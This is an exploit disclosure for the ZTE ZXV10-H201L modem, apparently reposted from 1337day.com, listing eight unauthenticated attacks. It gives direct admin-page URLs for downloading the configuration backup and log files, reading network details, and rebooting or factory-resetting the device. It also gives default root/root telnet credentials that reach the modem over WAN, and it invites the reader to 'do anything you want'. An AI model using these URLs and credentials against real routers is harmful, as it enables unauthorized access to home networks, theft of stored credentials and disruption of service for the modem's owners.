ZTE ZXV10-H201L Multiple Vulnerabilities

/-------------------------------------------------/

   /Exploits found by TheWalk1ngShad0w          /

 /My email: admin@thewalkingshadow.com   /

/-------------------------------------------------/

 

 

 

Exploit tested & working on modem with this build info:

 

-----------------------------------------

- Model:  ZXV10 H201L  --->  http://hu.ucoz.ru/FOTO/madema_nakh_telefonnaja.png

- Software version:  V1.0.01_CTT13

- HWVer:  V1.0.05

- SWVer:  V1.0.01_CTT13

-----------------------------------------

 

 

Short introduction:

 

This modem is used by many providers in the world, even in mine small country, but, it's full of vulnerabilities. Let me show them to you... All exploits down there are unauthorized, but can be done with admin account, and some of them are possible just on admin account, not on standard user's, but we are going to do it without admin and standard user login details.

----------------------------------------------------------------------------------------------------------------------

 

Exploit #1:

- User configuration bin file download

 

http://192.168.1.1/manager_dev_config_t.gch

 

When you get there, just press "Backup configuration" to download config file.

----------------------------------------------------------------------------------------------------------------------

 

Exploit #2:

- Reading log file & downloading it

 

http://192.168.1.1/manager_log_conf_t.gch

 

By entering here, you can read log file and download it on your PC by clicking "Download Log" button

----------------------------------------------------------------------------------------------------------------------

 

Exploit #3:

- VoIP status

 

http://192.168.1.1/status_voip_4less_t.gch

 

If you enter here, you will get list of VoIP devices(if any) on this modem and their network status(Registered/Not Registered on VoIP server)

----------------------------------------------------------------------------------------------------------------------

 

Exploit #4:

- Some basic router info(WiFi channel, MAC, WiFi Auth Type, WiFi Encryption Type etc...)

 

http://192.168.1.1/status_wlan_info_t.gch

 

Here you can see basic router info, not very useful, but you will probably need this sometimes...

----------------------------------------------------------------------------------------------------------------------

 

Exploit #5:

- Ethernet info

 

http://192.168.1.1/status_lan_info_t.gch

 

Data recieved by LAN cable port, LAN port status etc...

----------------------------------------------------------------------------------------------------------------------

 

Exploit #6:

 

- Reboot & Factory reset(Works on some models only, not working on mine, but working at friend's, cause he's got custom firmware)

 

http://192.168.1.1/manager_dev_conf_t.gch

 

Reboot & Factory Reset

-----------------------------------------------------------------------------------------------------------------------

 

Exploit #7:

 

- Advanced modem info(WAN IP, DNS Server, IPVersion, Management IP, NAT Status etc...)

 

http://192.168.1.1/IPv46_status_wan_if_t.gch

 

You can get almost anything about addresses linked with router(WAN IP, MAC, Management, DHCP, VoIP Addresses etc...)

-----------------------------------------------------------------------------------------------------------------------

 

Exploit #8:

 

- Remote telnet(Also working on WAN)

 

Username: root

Password: root

Address:Port: wanaddr:23

 

You can do anything you want with telnet, play with it

-----------------------------------------------------------------------------------------------------------------------

 

        #  1337day.com [2015-03-23]  #

Bagikan Artikel ini